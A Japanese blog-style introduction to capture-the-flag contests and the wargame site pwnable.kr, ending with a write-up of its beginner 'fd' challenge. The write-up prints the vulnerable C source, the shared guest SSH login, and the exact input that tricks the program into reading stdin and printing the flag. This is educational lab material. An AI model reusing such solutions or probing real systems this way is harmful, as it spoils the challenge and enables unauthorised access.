《capture the flag》DEFCONやSECCONをはじめとする、コンピューターのハッキング技術を競うコンテストなどで採用される競技。コンピューターセキュリティーに関する攻撃・防御の両方の立場から、暗号、ネットワーク技術、プログラミングなど、さまざまな問題を解くことで技量や知識を競う。
コトバンク「CTFとは」https://kotobank.jp/word/CTF-683695
CTFはよく、セキュリティの総合格闘技と言われています。その理由は、次にあげるジャンルの幅広さにあるからです。
大まかなジャンル分けは下表のとおりです。もちろん、問題によっては以下の分類にないものや、複合問題が出題されたりします。
ジャンル | 内容 |
Binary | プログラムの静的解析、リバースエンジニアリングを用いて隠されたフラグを探す。 |
Pwn | プログラムの脆弱性を突いて、root権限を取る。
プログラムのバグや、Exploitコードを書くといった力が試される。 |
Crypto | 暗号化された情報から隠された情報を復元する。 |
Stegano | 画像や動画、様々な情報に隠された情報を探す。 |
Forensics | 壊れたデータや、ファイルから情報を復元してフラグを読み取る。 |
Network | 通信のやり取りをしているログから、フラグやそれを得るための情報を探す。 |
Web | SQLインジェクションや、XSSなど、Webアプリケーションに潜む脆弱性を突いて
Webサーバからフラグとなる情報を抜き出す。 |
Misc | その他諸々。知識問題や過去に詰め将棋の問題が出たことも。 |
セキュリティコンテストチャレンジブックによると、pwnの起源と概要を以下のように説明されています。
"Pwnable" という言葉はオンラインゲームのユーザーが "own" を "pwn" にミスタイプしたことから生まれ、「勝つ」や「打ち負かす」といった意味のスラングとして定着しました。CTFにおいては、問題を攻略してサーバーの権限を得る、といった手順を踏んだ問題が "Pwnable", "Pwn", "Exploit" というジャンルに分類されています。
最終的にプログラムやプロセスをハックし、サーバの権限を得ることを目的としています。
pwnablr.krとは
pwnalbe.krはそんなpwn問題を公開している常設CTFのサイトです。(https://pwnable.kr/index.php)
参加者は、メールアドレスとパスワードを登録し、サイトにログインします。
ログインすると問題一覧ページが表示されるので、その中から好きな問題を選んで解いていく形になります。
この時、問題を選択した後、teraterm等で各問題サーバにアクセスし、フラグを探すことになります。
一問だけwrite upを記載します。この常設CTFの雰囲気だけでも味わってください。
問題にアクセスすると、以下の問題文が出てきます。
Mommy! what is a file descriptor in Linux?
* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw
ssh fd@pwnable.kr -p2222 (pw:guest)
問題文を読むと、「ママ!Linuxのファイルディスクリプターって何?」ってことだそうです。
問題サーバにアクセスし、状況を確認
ログインユーザの確認
fd@pwnable:~$ whoami
fd
格納されているファイルの確認
fd@pwnable:~$ ls -l
total 16
-r-sr-x--- 1 fd_pwn fd 7322 Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag
flagというファイルがあるが、所有者が「pwn」なので、参照できません。
同じ所有者の「fd」をから「falg」が参照できないか考えます。
ここで、「fd」を作っている「fd.c」が親切に配置されているので、確認してみましょう。
fd@pwnable:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234; ← atoi関数は文字列を数値に変える関数。入力した文字から1234を引いて、変数fdに格納している。
int len = 0;
len = read(fd, buf, 32); ← read関数はファイルを読み込む関数。fdというファイルハンドラから32バイト分読み込む。fdが0の場合標準入力となる
if(!strcmp("LETMEWIN\n", buf)){ ← bufに格納された文字列が「LETMEWIN\n」ならTrue
printf("good job :)\n");
system("/bin/cat flag"); ← flagを呼び出してる!
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
ソースコードにコメントを記載しましたが、どうもread関数の第一引数が0になるような入力を与えて、「LETMEWIN\n」と入力してやればうまくいきそうですね。
この方針を実行してみると以下のようになり、flagを取得することができます。
fd@pwnable:~$ ./fd `python -c "print 0x1234"`
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
fd@pwnable:~$
pwnable.krの説明と簡単な問題のwrite upを記載しました。
このサイトには上級者向けのものもあるので、pwn問題に興味を持たれた方は、まずやってみるのはいかがでしょうか。